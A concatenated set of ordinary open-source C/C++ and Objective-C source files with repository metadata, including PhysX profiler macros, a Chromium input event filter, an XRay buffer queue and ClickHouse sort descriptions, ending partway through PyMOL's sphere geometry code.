] | null | null | null | PhysX-3.2.4_PC_SDK_Core/Source/Common/src/CmEventProfiler.h | emlowry/AIEFramework | 8f1dd02105237e72cfe303ec4c541eea7debd1f7 | [
"MIT"
] | null | null | null | PhysX-3.2.4_PC_SDK_Core/Source/Common/src/CmEventProfiler.h | emlowry/AIEFramework | 8f1dd02105237e72cfe303ec4c541eea7debd1f7 | [
"MIT"
] | 3 | 2017-01-04T19:48:57.000Z | 2020-03-24T03:05:27.000Z | // This code contains NVIDIA Confidential Information and is disclosed to you
// under a form of NVIDIA software license agreement provided separately to you.
//
// Notice
// NVIDIA Corporation and its licensors retain all intellectual property and
// proprietary rights in and to this software and related documentation and
// any modifications thereto. Any use, reproduction, disclosure, or
// distribution of this software and related documentation without an express
// license agreement from NVIDIA Corporation is strictly prohibited.
//
// ALL NVIDIA DESIGN SPECIFICATIONS, CODE ARE PROVIDED "AS IS.". NVIDIA MAKES
// NO WARRANTIES, EXPRESSED, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO
// THE MATERIALS, AND EXPRESSLY DISCLAIMS ALL IMPLIED WARRANTIES OF NONINFRINGEMENT,
// MERCHANTABILITY, AND FITNESS FOR A PARTICULAR PURPOSE.
//
// Information and code furnished is believed to be accurate and reliable.
// However, NVIDIA Corporation assumes no responsibility for the consequences of use of such
// information or for any infringement of patents or other rights of third parties that may
// result from its use. No license is granted by implication or otherwise under any patent
// or patent rights of NVIDIA Corporation. Details are subject to change without notice.
// This code supersedes and replaces all information previously supplied.
// NVIDIA Corporation products are not authorized for use as critical
// components in life support devices or systems without express written approval of
// NVIDIA Corporation.
//
// Copyright (c) 2008-2013 NVIDIA Corporation. All rights reserved.
// Copyright (c) 2004-2008 AGEIA Technologies, Inc. All rights reserved.
// Copyright (c) 2001-2004 NovodeX AG. All rights reserved.
#ifndef PX_PHYSICS_COMMON_PROFILE_EVENT_H
#define PX_PHYSICS_COMMON_PROFILE_EVENT_H
#ifndef PX_PROFILE_EVENT_PROFILE_THRESHOLD
#define PX_PROFILE_EVENT_PROFILE_THRESHOLD EventPriorities::Detail //default knob
#endif
#include "PxPhysXCommon.h" // added for definition of PX_PHYSX_COMMON_API
#include "PxProfileCompileTimeEventFilter.h"
#include "PxProfileScopedEvent.h"
#include "PxProfileEventNames.h"
#include "PxProfileZone.h"
#include "PxProfileEventId.h"
#define PX_PROFILE_EVENT_DEFINITION_HEADER "CmProfileEventDefs.h"
//Define all the event enumeration values as well as functions for creating the events.
#include "CmProfileDeclareEventInfo.h"
namespace physx
{
namespace Cm
{
struct CmEventNameProvider : public physx::PxProfileNameProvider
{
PX_PHYSX_COMMON_API physx::PxProfileNames getProfileNames() const;
};
#define PX_PROFILE_BEGIN_SUBSYSTEM( subsys ) struct subsys {
#define PX_PROFILE_EVENT( subsys, name, priority ) static const physx::PxProfileEventId name; \
PX_PHYSX_COMMON_API static const physx::PxProfileEventId& Get##name() { return name; }
#define PX_PROFILE_END_SUBSYSTEM( subsys ) };
struct ProfileEventId
{
#include "CmProfileEventDefs.h"
};
#undef PX_PROFILE_BEGIN_SUBSYSTEM
#undef PX_PROFILE_EVENT
#undef PX_PROFILE_END_SUBSYSTEM
class EventProfiler
{
physx::PxU64 mEventContext;
physx::PxProfileEventSender* mSDK;
public:
EventProfiler( physx::PxProfileEventSender* inSDK = NULL, physx::PxU64 inEventContext = 0 )
: mEventContext( inEventContext )
, mSDK( inSDK )
{
}
EventProfiler( const EventProfiler& other ) { *this = other; }
EventProfiler& operator=( const EventProfiler& other )
{
mEventContext = other.mEventContext;
mSDK = other.mSDK;
return *this;
}
physx::PxProfileEventSender* getProfileEventSender() { return mSDK; }
physx::PxU64 getEventContext() const { return mEventContext; }
};
}
template<bool TEnabled>
class CmProfileZone
{
physx::PxProfileEventSender* mEventSender;
physx::PxU16 mEventId;
physx::PxU64 mEventContext;
public:
template<typename TProfileDataProvider>
CmProfileZone( TProfileDataProvider& inProvider, physx::PxU16 inEventId )
: mEventSender( inProvider.getEventProfiler().getProfileEventSender() )
, mEventId( inEventId )
, mEventContext( inProvider.getEventProfiler().getEventContext() )
{
PX_ASSERT( mEventSender );
mEventSender->startEvent( inEventId, mEventContext );
}
~CmProfileZone()
{
PX_ASSERT( mEventSender );
mEventSender->stopEvent( mEventId, mEventContext );
}
};
template<>
class CmProfileZone<false>
{
public:
template<typename TProfileDataProvider> CmProfileZone( TProfileDataProvider&, physx::PxU16) {}
};
template<bool TEnabled>
struct CmProfileValue
{
template<typename TProfileDataProvider>
CmProfileValue( TProfileDataProvider& inProvider, physx::PxU16 inEventId, physx::PxI64 theValue )
{
physx::PxProfileEventSender* theEventSender = inProvider.getEventProfiler().getProfileEventSender();
physx::PxU64 theContext = inProvider.getEventProfiler().getEventContext();
PX_ASSERT( theEventSender );
theEventSender->eventValue( inEventId, theContext, theValue );
}
};
template<> struct CmProfileValue<false>
{
template<typename TProfileDataProvider>
CmProfileValue( TProfileDataProvider&, physx::PxU16, physx::PxI64 )
{
}
};
//---------------------------------------------------------------------------
inline physx::PxU64 getProfileEventContext() { return 0; }
#define CM_PROFILE_START( _p, _id) physx::profile::startEvent( _id.mCompileTimeEnabled, _p.getProfileEventSender(), _id, _p.getEventContext() );
#define CM_PROFILE_STOP( _p, _id) physx::profile::stopEvent( _id.mCompileTimeEnabled, _p.getProfileEventSender(), _id, _p.getEventContext() );
#define CM_PROFILE_ZONE( _p, _id) \
physx::profile::DynamicallyEnabledScopedEvent<PxProfileEventSender> scopedEvent( _p.getProfileEventSender(), _id, _p.getEventContext() );
#define CM_PROFILE_ZONE_WITH_SUBSYSTEM( _p, subsystem, eventId ) CmProfileZone<PX_PROFILE_EVENT_FILTER_VALUE(subsystem,eventId)> __zone( _p, physx::profile::EventIds::subsystem##eventId );
#define CM_PROFILE_VALUE( _p, subsystem, eventId, value ) CmProfileValue<PX_PROFILE_EVENT_FILTER_VALUE(subsystem,eventId)> __val( _p, physx::profile::EventIds::subsystem##eventId, static_cast<PxI64>( value ) );
// there is just one filtering option for all tasks now
#define CM_PROFILE_TASK_ZONE(_p, _id) CM_PROFILE_ZONE( _p, _id )
#define CM_CROSSTHREAD_FAKE_THREADID 99999789
#define CM_PROFILE_START_CROSSTHREAD( _p, _id) \
if ( _id.mCompileTimeEnabled && _p.getProfileEventSender() ) _p.getProfileEventSender()->startEvent( _id, _p.getEventContext(), CM_CROSSTHREAD_FAKE_THREADID );
#define CM_PROFILE_STOP_CROSSTHREAD( _p, _id) \
if ( _id.mCompileTimeEnabled && _p.getProfileEventSender() ) _p.getProfileEventSender()->stopEvent( _id, _p.getEventContext(), CM_CROSSTHREAD_FAKE_THREADID );
}
#endif
| 38.125714 | 210 | 0.776978 |
bd366c4b124123ae9270cefe3e67338d5d6c92cf | 5,486 | h | C | content/renderer/input/input_event_filter.h | metux/chromium-deb | 3c08e9b89a1b6f95f103a61ff4f528dbcd57fc42 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | content/renderer/input/input_event_filter.h | metux/chromium-deb | 3c08e9b89a1b6f95f103a61ff4f528dbcd57fc42 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | content/renderer/input/input_event_filter.h | metux/chromium-deb | 3c08e9b89a1b6f95f103a61ff4f528dbcd57fc42 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | // Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CONTENT_RENDERER_INPUT_INPUT_EVENT_FILTER_H_
#define CONTENT_RENDERER_INPUT_INPUT_EVENT_FILTER_H_
#include <queue>
#include <set>
#include <unordered_map>
#include "base/callback.h"
#include "base/synchronization/lock.h"
#include "content/common/content_export.h"
#include "content/common/input/input_event_ack_state.h"
#include "content/renderer/input/input_handler_manager_client.h"
#include "content/renderer/input/main_thread_event_queue.h"
#include "ipc/message_filter.h"
#include "third_party/WebKit/public/platform/WebInputEvent.h"
namespace base {
class SingleThreadTaskRunner;
}
namespace ui {
struct DidOverscrollParams;
}
namespace IPC {
class Sender;
}
// This class can be used to intercept InputMsg_HandleInputEvent messages
// and have them be delivered to a target thread. Input events are filtered
// based on routing_id (see AddRoute and RemoveRoute).
//
// The user of this class provides an instance of InputHandlerManager via
// |SetInputHandlerManager|. The InputHandlerManager's |HandleInputEvent|
// will be called on the target thread to process the WebInputEvents.
//
namespace content {
class CONTENT_EXPORT InputEventFilter : public InputHandlerManagerClient,
public IPC::MessageFilter {
public:
InputEventFilter(
const base::Callback<void(const IPC::Message&)>& main_listener,
const scoped_refptr<base::SingleThreadTaskRunner>& main_task_runner,
const scoped_refptr<base::SingleThreadTaskRunner>& target_task_runner);
// The |handler| is invoked on the thread associated with |target_loop| to
// handle input events matching the filtered routes.
//
// If INPUT_EVENT_ACK_STATE_NOT_CONSUMED is returned by the handler,
// the original InputMsg_HandleInputEvent message will be delivered to
// |main_listener| on the main thread. (The "main thread" in this context is
// the thread where the InputEventFilter was constructed.) The responsibility
// is left to the eventual handler to deliver the corresponding
// InputHostMsg_HandleInputEvent_ACK.
//
void SetInputHandlerManager(InputHandlerManager*) override;
void RegisterRoutingID(
int routing_id,
const scoped_refptr<MainThreadEventQueue>& input_event_queue) override;
void UnregisterRoutingID(int routing_id) override;
void RegisterAssociatedRenderFrameRoutingID(
int render_frame_routing_id,
int render_view_routing_id) override;
void QueueClosureForMainThreadEventQueue(
int routing_id,
const base::Closure& closure) override;
void DidOverscroll(int routing_id,
const ui::DidOverscrollParams& params) override;
void DidStopFlinging(int routing_id) override;
void DispatchNonBlockingEventToMainThread(
int routing_id,
ui::WebScopedInputEvent event,
const ui::LatencyInfo& latency_info) override;
void SetWhiteListedTouchAction(int routing_id,
cc::TouchAction touch_action) override;
// IPC::MessageFilter methods:
void OnFilterAdded(IPC::Channel* channel) override;
void OnFilterRemoved() override;
void OnChannelClosing() override;
bool OnMessageReceived(const IPC::Message& message) override;
private:
~InputEventFilter() override;
void ForwardToHandler(int routing_id,
const IPC::Message& message,
base::TimeTicks received_time);
void DidForwardToHandlerAndOverscroll(
int routing_id,
InputEventDispatchType dispatch_type,
InputEventAckState ack_state,
ui::WebScopedInputEvent event,
const ui::LatencyInfo& latency_info,
std::unique_ptr<ui::DidOverscrollParams> overscroll_params);
void SendInputEventAck(
int routing_id,
blink::WebInputEvent::Type event_type,
int unique_touch_event_id,
InputEventAckState ack_state,
const ui::LatencyInfo& latency_info,
std::unique_ptr<ui::DidOverscrollParams> overscroll_params);
void SendMessage(std::unique_ptr<IPC::Message> message);
void SendMessageOnIOThread(std::unique_ptr<IPC::Message> message);
scoped_refptr<base::SingleThreadTaskRunner> main_task_runner_;
base::Callback<void(const IPC::Message&)> main_listener_;
// The sender_ only gets invoked on the thread corresponding to io_loop_.
scoped_refptr<base::SingleThreadTaskRunner> io_task_runner_;
IPC::Sender* sender_;
// The |input_handler_manager_| should outlive this class and
// should only be called back on the |target_task_runner_|.
scoped_refptr<base::SingleThreadTaskRunner> target_task_runner_;
InputHandlerManager* input_handler_manager_;
// Protects access to routes_.
base::Lock routes_lock_;
// Indicates the routing ids for RenderViews for which input events
// should be filtered.
std::set<int> routes_;
using RouteQueueMap =
std::unordered_map<int, scoped_refptr<MainThreadEventQueue>>;
// Maps RenderView routing ids to a MainThreadEventQueue.
RouteQueueMap route_queues_;
using AssociatedRoutes = std::unordered_map<int, int>;
// Maps RenderFrame routing ids to RenderView routing ids so that
// events sent down the two routing pipes can be handled synchronously.
AssociatedRoutes associated_routes_;
};
} // namespace content
#endif // CONTENT_RENDERER_INPUT_INPUT_EVENT_FILTER_H_
| 37.834483 | 80 | 0.759934 |
bd36baed88d84f91c8bcba1e5288d59dafd807af | 939 | h | C | include/mm/region.h | m-rinaldi/emuk86 | c5224ad212ec73ddc6d5b9bfb845fb487b2de085 | [
"MIT"
] | null | null | null | include/mm/region.h | m-rinaldi/emuk86 | c5224ad212ec73ddc6d5b9bfb845fb487b2de085 | [
"MIT"
] | null | null | null | include/mm/region.h | m-rinaldi/emuk86 | c5224ad212ec73ddc6d5b9bfb845fb487b2de085 | [
"MIT"
] | null | null | null | #pragma once
#include <stdint.h>
/*
A region is contiguous area of the space of vitual addresses.
In principle a region would consist of:
1) the size of the region
2) the physical addresses of each page the region consists of
3) an array of page tables
However, a region will correspond to one and only one entry in the page
directory for the sake of simplicity. This results in the following
implications:
a) a region is limited to a single page table (4 MiB).
b) the starting virtual address a process maps a region is aligned
to 4 MiB boundaries.
A region knows nothing about virtual addresses, only physical addresses
it is the responsability of a process to map a region to a particular
virtual address
*/
typedef struct {
unsigned int pd_idx : 10;
unsigned int num_pages : 12;
// TODO add page table
} region_t;
| 28.454545 | 75 | 0.679446 |
bd382a26c640d4259a8f07edc6977bf5f62f613f | 4,333 | h | C | lib/xray/xray_buffer_queue.h | hfinkel/compiler-rt-bgq | 5c116694a5ed7267288d9ea5723b6a651321d271 | [
"MIT"
] | null | null | null | lib/xray/xray_buffer_queue.h | hfinkel/compiler-rt-bgq | 5c116694a5ed7267288d9ea5723b6a651321d271 | [
"MIT"
] | null | null | null | lib/xray/xray_buffer_queue.h | hfinkel/compiler-rt-bgq | 5c116694a5ed7267288d9ea5723b6a651321d271 | [
"MIT"
] | null | null | null | //===-- xray_buffer_queue.h ------------------------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file is a part of XRay, a dynamic runtime instrumentation system.
//
// Defines the interface for a buffer queue implementation.
//
//===----------------------------------------------------------------------===//
#ifndef XRAY_BUFFER_QUEUE_H
#define XRAY_BUFFER_QUEUE_H
#include "sanitizer_common/sanitizer_atomic.h"
#include "sanitizer_common/sanitizer_mutex.h"
#include <deque>
#include <unordered_set>
#include <utility>
namespace __xray {
/// BufferQueue implements a circular queue of fixed sized buffers (much like a
/// freelist) but is concerned mostly with making it really quick to initialise,
/// finalise, and get/return buffers to the queue. This is one key component of
/// the "flight data recorder" (FDR) mode to support ongoing XRay function call
/// trace collection.
class BufferQueue {
public:
struct Buffer {
void *Buffer = nullptr;
size_t Size = 0;
};
private:
size_t BufferSize;
// We use a bool to indicate whether the Buffer has been used in this
// freelist implementation.
std::deque<std::tuple<Buffer, bool>> Buffers;
__sanitizer::BlockingMutex Mutex;
std::unordered_set<void *> OwnedBuffers;
__sanitizer::atomic_uint8_t Finalizing;
public:
enum class ErrorCode : unsigned {
Ok,
NotEnoughMemory,
QueueFinalizing,
UnrecognizedBuffer,
AlreadyFinalized,
};
static const char *getErrorString(ErrorCode E) {
switch (E) {
case ErrorCode::Ok:
return "(none)";
case ErrorCode::NotEnoughMemory:
return "no available buffers in the queue";
case ErrorCode::QueueFinalizing:
return "queue already finalizing";
case ErrorCode::UnrecognizedBuffer:
return "buffer being returned not owned by buffer queue";
case ErrorCode::AlreadyFinalized:
return "queue already finalized";
}
return "unknown error";
}
/// Initialise a queue of size |N| with buffers of size |B|. We report success
/// through |Success|.
BufferQueue(size_t B, size_t N, bool &Success);
/// Updates |Buf| to contain the pointer to an appropriate buffer. Returns an
/// error in case there are no available buffers to return when we will run
/// over the upper bound for the total buffers.
///
/// Requirements:
/// - BufferQueue is not finalising.
///
/// Returns:
/// - ErrorCode::NotEnoughMemory on exceeding MaxSize.
/// - ErrorCode::Ok when we find a Buffer.
/// - ErrorCode::QueueFinalizing or ErrorCode::AlreadyFinalized on
/// a finalizing/finalized BufferQueue.
ErrorCode getBuffer(Buffer &Buf);
/// Updates |Buf| to point to nullptr, with size 0.
///
/// Returns:
/// - ErrorCode::Ok when we successfully release the buffer.
/// - ErrorCode::UnrecognizedBuffer for when this BufferQueue does not own
/// the buffer being released.
ErrorCode releaseBuffer(Buffer &Buf);
bool finalizing() const {
return __sanitizer::atomic_load(&Finalizing,
__sanitizer::memory_order_acquire);
}
/// Returns the configured size of the buffers in the buffer queue.
size_t ConfiguredBufferSize() const { return BufferSize; }
/// Sets the state of the BufferQueue to finalizing, which ensures that:
///
/// - All subsequent attempts to retrieve a Buffer will fail.
/// - All releaseBuffer operations will not fail.
///
/// After a call to finalize succeeds, all subsequent calls to finalize will
/// fail with ErrorCode::QueueFinalizing.
ErrorCode finalize();
/// Applies the provided function F to each Buffer in the queue, only if the
/// Buffer is marked 'used' (i.e. has been the result of getBuffer(...) and a
/// releaseBuffer(...) operation).
template <class F> void apply(F Fn) {
__sanitizer::BlockingMutexLock G(&Mutex);
for (const auto &T : Buffers) {
if (std::get<1>(T))
Fn(std::get<0>(T));
}
}
// Cleans up allocated buffers.
~BufferQueue();
};
} // namespace __xray
#endif // XRAY_BUFFER_QUEUE_H
| 32.335821 | 80 | 0.656127 |
bd3b44ddce7d17484189261a93d65f273cd8e9d3 | 433 | h | C | CloudLiveDemo/CloudLive/Module/Course/View/TalkfunCourseTableViewCell.h | a578781605/CloudLive | b9729cddf9e249549e56200f28739631950505f1 | [
"MIT"
] | null | null | null | CloudLiveDemo/CloudLive/Module/Course/View/TalkfunCourseTableViewCell.h | a578781605/CloudLive | b9729cddf9e249549e56200f28739631950505f1 | [
"MIT"
] | null | null | null | CloudLiveDemo/CloudLive/Module/Course/View/TalkfunCourseTableViewCell.h | a578781605/CloudLive | b9729cddf9e249549e56200f28739631950505f1 | [
"MIT"
] | null | null | null | //
// TalkfunCourseTableViewCell.h
// CloudLive
//
// Created by 孙兆能 on 16/8/24.
// Copyright © 2016年 Talkfun. All rights reserved.
//
#import <UIKit/UIKit.h>
@class TalkfunCourseModel;
@interface TalkfunCourseTableViewCell : UITableViewCell
@property (weak, nonatomic) IBOutlet UIView *seperateView;
@property (weak, nonatomic) IBOutlet UIButton *getInLiveBtn;
- (void)configCellWithModel:(TalkfunCourseModel *)model;
@end
| 21.65 | 60 | 0.757506 |
bd3b7bc45ff3b77be9d0cd0b9fbe3ce9e3001f45 | 2,956 | h | C | src/Core/SortDescription.h | lizhichao/ClickHouse | 3f5dc37095ccca18de490fab162d6e3cb99756aa | [
"Apache-2.0"
] | 2 | 2021-03-25T06:53:00.000Z | 2021-04-29T07:32:51.000Z | src/Core/SortDescription.h | lizhichao/ClickHouse | 3f5dc37095ccca18de490fab162d6e3cb99756aa | [
"Apache-2.0"
] | 1 | 2020-03-26T01:50:51.000Z | 2020-03-26T01:50:51.000Z | src/Core/SortDescription.h | lizhichao/ClickHouse | 3f5dc37095ccca18de490fab162d6e3cb99756aa | [
"Apache-2.0"
] | null | null | null | #pragma once
#include <vector>
#include <memory>
#include <cstddef>
#include <string>
#include <Core/Field.h>
#include <Core/SettingsEnums.h>
class Collator;
namespace DB
{
struct FillColumnDescription
{
/// All missed values in range [FROM, TO) will be filled
/// Range [FROM, TO) respects sorting direction
Field fill_from; /// Fill value >= FILL_FROM
Field fill_to; /// Fill value + STEP < FILL_TO
Field fill_step; /// Default = 1 or -1 according to direction
};
/// Description of the sorting rule by one column.
struct SortColumnDescription
{
std::string column_name; /// The name of the column.
size_t column_number; /// Column number (used if no name is given).
int direction; /// 1 - ascending, -1 - descending.
int nulls_direction; /// 1 - NULLs and NaNs are greater, -1 - less.
/// To achieve NULLS LAST, set it equal to direction, to achieve NULLS FIRST, set it opposite.
std::shared_ptr<Collator> collator; /// Collator for locale-specific comparison of strings
bool with_fill;
FillColumnDescription fill_description;
SortColumnDescription(
size_t column_number_, int direction_, int nulls_direction_,
const std::shared_ptr<Collator> & collator_ = nullptr,
bool with_fill_ = false, const FillColumnDescription & fill_description_ = {})
: column_number(column_number_), direction(direction_), nulls_direction(nulls_direction_), collator(collator_)
, with_fill(with_fill_), fill_description(fill_description_) {}
SortColumnDescription(
const std::string & column_name_, int direction_, int nulls_direction_,
const std::shared_ptr<Collator> & collator_ = nullptr,
bool with_fill_ = false, const FillColumnDescription & fill_description_ = {})
: column_name(column_name_), column_number(0), direction(direction_), nulls_direction(nulls_direction_)
, collator(collator_), with_fill(with_fill_), fill_description(fill_description_) {}
bool operator == (const SortColumnDescription & other) const
{
return column_name == other.column_name && column_number == other.column_number
&& direction == other.direction && nulls_direction == other.nulls_direction;
}
bool operator != (const SortColumnDescription & other) const
{
return !(*this == other);
}
std::string dump() const
{
std::stringstream ss;
ss << column_name << ":" << column_number << ":dir " << direction << "nulls " << nulls_direction;
return ss.str();
}
};
/// Description of the sorting rule for several columns.
using SortDescription = std::vector<SortColumnDescription>;
class Block;
/// Outputs user-readable description into `out`.
void dumpSortDescription(const SortDescription & description, const Block & header, WriteBuffer & out);
}
| 37.897436 | 123 | 0.673207 |
bd3cf3bb9687f9569388ce3a868c65b774604170 | 697 | h | C | src/sources/game/objects/weapon/weapon.h | rkolovanov/qt-game-rpg | 6fc105481181d246d01db9a5e5a8e5bad04da75f | [
"MIT"
] | 1 | 2021-06-28T18:43:29.000Z | 2021-06-28T18:43:29.000Z | src/sources/game/objects/weapon/weapon.h | rkolovanov/qt-game-rpg | 6fc105481181d246d01db9a5e5a8e5bad04da75f | [
"MIT"
] | null | null | null | src/sources/game/objects/weapon/weapon.h | rkolovanov/qt-game-rpg | 6fc105481181d246d01db9a5e5a8e5bad04da75f | [
"MIT"
] | null | null | null | #ifndef SOURCES_GAME_OBJECTS_WEAPON_WEAPON_H
#define SOURCES_GAME_OBJECTS_WEAPON_WEAPON_H
#include "sources/game/objects/object.h"
namespace game {
using sharedArmor = std::shared_ptr<class Armor>;
class Weapon final: public Object {
private:
int damage_;
public:
explicit Weapon(int damage);
~Weapon();
friend std::ostream& operator<<(std::ostream& stream, const Weapon& weapon);
int getDamage() const;
sharedObject getCopy() const override;
void executeInteraction(Creature& creature) override;
const std::type_info& getClass() const override;
bool getReusable() const override;
}; // class Weapon
};
#endif // SOURCES_GAME_OBJECTS_WEAPON_WEAPON_H
| 21.78125 | 80 | 0.743185 |
bd3f8f5329c0d0ac9d1e7f6c28ba14d5facad7e9 | 1,813 | h | C | src/apps/dios_db_customc/src/sql/database_sql_custom_commit_record_class.h | dios-game/dios | ce947382bcc8692ea70533d6def112a2838a9d0e | [
"MIT"
] | 1 | 2016-05-25T02:57:02.000Z | 2016-05-25T02:57:02.000Z | src/apps/dios_db_customc/src/sql/database_sql_custom_commit_record_class.h | dios-game/dios | ce947382bcc8692ea70533d6def112a2838a9d0e | [
"MIT"
] | null | null | null | src/apps/dios_db_customc/src/sql/database_sql_custom_commit_record_class.h | dios-game/dios | ce947382bcc8692ea70533d6def112a2838a9d0e | [
"MIT"
] | 1 | 2021-04-17T16:06:00.000Z | 2021-04-17T16:06:00.000Z | #ifndef DATABASE_SQL_CUSTOM_COMMIT_RECORD_CLASS_H
#define DATABASE_SQL_CUSTOM_COMMIT_RECORD_CLASS_H
class CCodeFile;
namespace dios {
class CDatabaseTableInfo;
}
class DatabaseSqlCustomCommitRecordClass
{
public:
static void WriteHeaderCommitRecordClassBegin(CCodeFile& file);
static void WriteHeaderCommitRecordClassStruct(CCodeFile& file, const dios::CDatabaseTableInfo& table_info);
static void WriteHeaderCommitRecordClassDestruct(CCodeFile& file);
static void WriteHeaderCommitRecordClassIsDirtyFunction(CCodeFile& file);
static void WriteHeaderCommitRecordClassCommitInsertFunction(CCodeFile& file, const dios::CDatabaseTableInfo& table_info);
static void WriteHeaderCommitRecordClassCommitUpdateFunction(CCodeFile& file, const dios::CDatabaseTableInfo& table_info);
static void WriteHeaderCommitRecordClassCommitDeleteFunction(CCodeFile& file, const dios::CDatabaseTableInfo& table_info);
static void WriteHeaderCommitRecordClassProtectedMember(CCodeFile& file);
static void WriteHeaderCommitRecordClassEnd(CCodeFile& file);
static void WriteHeaderCommitRecordClass(CCodeFile& file, const dios::CDatabaseTableInfo& table_info);
static void WriteSourceCommitRecordClassStruct(CCodeFile& file, const dios::CDatabaseTableInfo& table_info);
static void WriteSourceCommitRecordClassDestruct(CCodeFile& file);
static void WriteSourceCommitRecordClassCommitInsertFunction(CCodeFile& file, const dios::CDatabaseTableInfo& table_info);
static void WriteSourceCommitRecordClassCommitUpdateFunction(CCodeFile& file, const dios::CDatabaseTableInfo& table_info);
static void WriteSourceCommitRecordClassCommitDeleteFunction(CCodeFile& file, const dios::CDatabaseTableInfo& table_info);
static void WriteSourceCommitRecordClass(CCodeFile& file, const dios::CDatabaseTableInfo& table_info);
};
#endif | 58.483871 | 123 | 0.863762 |
bd3fd5ea649f19d8d82d78d11337fc049582467a | 17,582 | c | C | layer0/Sphere.c | hryknkgw/pymolwin | 4a1335e90497dbcbfa789f1285a7c1ad84a051f8 | [
"CNRI-Python"
] | null | null | null | layer0/Sphere.c | hryknkgw/pymolwin | 4a1335e90497dbcbfa789f1285a7c1ad84a051f8 | [
"CNRI-Python"
] | null | null | null | layer0/Sphere.c | hryknkgw/pymolwin | 4a1335e90497dbcbfa789f1285a7c1ad84a051f8 | [
"CNRI-Python"
] | null | null | null |
/*
A* -------------------------------------------------------------------
B* This file contains source code for the PyMOL computer program
C* Copyright (c) Schrodinger, LLC.
D* -------------------------------------------------------------------
E* It is unlawful to modify or remove this copyright notice.
F* -------------------------------------------------------------------
G* Please see the accompanying LICENSE file for further information.
H* -------------------------------------------------------------------
I* Additional authors of this source file include:
-*
-*
-*
Z* -------------------------------------------------------------------
*/
#include"os_predef.h"
#include"os_std.h"
#include"Base.h"
#include"Sphere.h"
#include"Vector.h"
#include"Err.h"
#include"MemoryDebug.h"
/* Twelve vertices of icosahedron on unit sphere */
#define tau 0.8506508084F /* t=(1+sqrt(5))/2, tau=t/sqrt(1+t^2) */
#define one 0.5257311121F /* one=1/sqrt(1+t^2) , unit sphere */
static const float start_points[13][3] = {
{tau, one, 0},
{-tau, one, 0},
{-tau, -one, 0},
{tau, -one, 0},
{one, 0, tau},
{one, 0, -tau},
{-one, 0, -tau},
{-one, 0, tau},
{0, tau, one},
{0, -tau, one},
{0, -tau, -one},
{0, tau, -one}
};
static const int icosahedron[21][3] = {
{4, 8, 7},
{4, 7, 9},
{5, 6, 11},
{5, 10, 6},
{0, 4, 3},
{0, 3, 5},
{2, 7, 1},
{2, 1, 6},
{8, 0, 11},
{8, 11, 1},
{9, 10, 3},
{9, 2, 10},
{8, 4, 0},
{11, 0, 5},
{4, 9, 3},
{5, 3, 10},
{7, 8, 1},
{6, 1, 11},
{7, 2, 9},
{6, 10, 2}
};
static const int mesh[30][2] = {
{0, 3},
{0, 4},
{0, 5},
{0, 8},
{0, 11},
{1, 2},
{1, 6},
{1, 7},
{1, 8},
{1, 11},
{2, 6},
{2, 7},
{2, 9},
{2, 10},
{3, 4},
{3, 5},
{3, 9},
{3, 10},
{4, 7},
{4, 8},
{4, 9},
{5, 6},
{5, 10},
{5, 11},
{6, 10},
{6, 11},
{7, 8},
{7, 9},
{8, 11},
{9, 10}
};
#define FAST_SPHERE_INIT
#ifdef FAST_SPHERE_INIT
#include"SphereData.h"
#else
static SphereRec *MakeDotSphere(PyMOLGlobals * G, int level);
#endif
#ifndef FAST_SPHERE_INIT
static void SphereDumpAll(CSphere *I)
{
FILE *f;
int i, dot_total, a, c, strip_total, seq_total, tri_total;
SphereRec *sp;
f = fopen("SphereData.h", "w");
fprintf(f, "static int Sphere_NSpheres = %d;\n", NUMBER_OF_SPHERE_LEVELS);
fprintf(f, "static int Sphere_NTri[%d] = {\n", NUMBER_OF_SPHERE_LEVELS);
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
fprintf(f, " %d, ", I->Sphere[i]->NTri);
}
fprintf(f, "\n};\n");
fprintf(f, "static int Sphere_NStrip[%d] = {\n", NUMBER_OF_SPHERE_LEVELS);
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
fprintf(f, " %d, ", I->Sphere[i]->NStrip);
}
fprintf(f, "\n};\n");
fprintf(f, "static int Sphere_NVertTot[%d] = {\n", NUMBER_OF_SPHERE_LEVELS);
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
fprintf(f, " %d, ", I->Sphere[i]->NVertTot);
}
fprintf(f, "\n};\n");
fprintf(f, "static int Sphere_nDot[%d] = {\n", NUMBER_OF_SPHERE_LEVELS);
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
fprintf(f, " %d, ", I->Sphere[i]->nDot);
}
fprintf(f, "\n};\n");
fprintf(f, "static int Sphere_dot_start[%d] = {\n", NUMBER_OF_SPHERE_LEVELS);
dot_total = 0;
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
fprintf(f, " %d, ", dot_total);
dot_total += I->Sphere[i]->nDot;
}
fprintf(f, "\n};\n");
fprintf(f, "static float Sphere_dot[][3] = {\n");
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
sp = I->Sphere[i];
fprintf(f, "/* dots for Sphere #%d */\n", i);
for(a = 0; a < sp->nDot; a++) {
fprintf(f, "{ %15.12fF, %15.12fF, %15.12fF },\n",
sp->dot[a][0], sp->dot[a][1], sp->dot[a][2]);
}
}
fprintf(f, "};\n");
fprintf(f, "static float Sphere_area[] = {\n");
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
sp = I->Sphere[i];
fprintf(f, "/* areas for Sphere #%d */\n", i);
c = 0;
for(a = 0; a < sp->nDot; a++) {
fprintf(f, "%15.12fF,", sp->area[a]);
c = (c + 1) % 4;
if (!c)
fprintf(f, "\n");
}
if (c)
fprintf(f, "\n");
}
fprintf(f, "};\n");
fprintf(f, "static int Sphere_StripLen_start[%d] = {\n", NUMBER_OF_SPHERE_LEVELS);
strip_total = 0;
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
fprintf(f, " %d, ", strip_total);
strip_total += I->Sphere[i]->NStrip;
